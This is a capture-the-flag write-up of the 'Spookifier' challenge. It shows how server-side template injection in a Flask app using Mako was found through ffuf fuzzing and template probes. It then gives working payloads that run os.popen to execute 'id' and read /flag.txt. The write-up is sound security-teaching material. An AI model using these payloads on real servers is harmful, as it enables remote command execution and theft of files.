Spookifier

challenge ui

INTRODUCTION

Spookifier is an excellent introduction to a very fun class of web vulnerabilities. It makes for a nice little “coffee break” challenge. Perfect if you don’t have much time.

FIRST TAKE

Start by downloading the files. It’s a docker container with a Flask application inside. Read the code, and realize there’s only one endpoint inside.

It’s a Python Flask server and uses Mako as a template engine.

challenge dir

FIND THE VULN

Without too much code reading, it is clear that there probably isn’t a command injection here: there’s no obvious vulnerable code that normally leads to OS command injection. But there might be an SSTI… I’m not super familiar with Mako, so I’ll investigate.

Whitebox Approach

Lining it up the situation to the flowchart shown in PayloadAllTheThings

…we can check for Mako SSTI:

${"z".join("ab")}

Yep, it renders as azb. There’s definitely python being executed here, confirming the presence of SSTI.

Blackbox Approach

Other fuzzing didn’t work at all, so I began to suspect that SSTI was present.

To investigate, I tried throwing a template injection wordlist at it, using ffuf:

# This wordlist contains a bunch  of ways to execute 42 * 42 : expected result = 1764
WLIST=/usr/share/seclists/Fuzzing/template-engines-expression.txt
# Use ffuf in regex matching mode
ffuf -w $WLIST:FUZZ -u 'http://94.237.54.116:35270/?text=FUZZ' -c -mr '1764'

Results:

[[${42*42}]]            [Status: 200, Size: 7734, Words: 2625, Lines: 224, Duration: 107ms]
{^xyzm42}1764{/xyzm42}  [Status: 200, Size: 7830, Words: 2631, Lines: 224, Duration: 111ms]
${42*42}                [Status: 200, Size: 7718, Words: 2613, Lines: 224, Duration: 108ms]

The middle one is a false positive, but the other two share the same syntax: ${something}.

To confirm, I’ll go through the flowchart:

  1. ${77} –> YES
  2. *a{comment}b –> NO
  3. ${“z”.join(“ab”)} –> YES

This indicates the template engine is Mako, and that an SSTI exists.

MAKE THE EXPLOIT

Next, I’ll investigate how Mako templates work.

Turns out that they use <% and %> for the template literals, so we should be able to just plop some python into there (if we want it executed but not rendered).

Let’s start with the standard test for SSTI:

<%import os;x=os.popen('id').read()%> ${x}

id test

Result: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

👏 Perfect! Now let’s just grab the flag. We already know its filepath from reading the source code:

<%import os;x=os.popen('cat /flag.txt').read()%> ${x}

And there’s the flag 😉


Useful resources: https://portswigger.net/research/server-side-template-injection


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake